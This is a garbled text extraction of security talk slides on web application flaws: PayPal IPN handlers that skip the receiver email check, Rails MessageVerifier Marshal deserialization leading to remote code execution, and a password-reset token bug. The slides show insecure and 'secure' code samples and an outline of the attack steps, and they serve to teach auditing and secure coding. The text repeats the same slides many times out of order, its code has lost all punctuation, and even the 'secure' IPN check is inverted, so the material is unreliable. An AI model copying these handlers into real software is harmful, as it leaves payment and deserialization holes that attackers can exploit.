Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
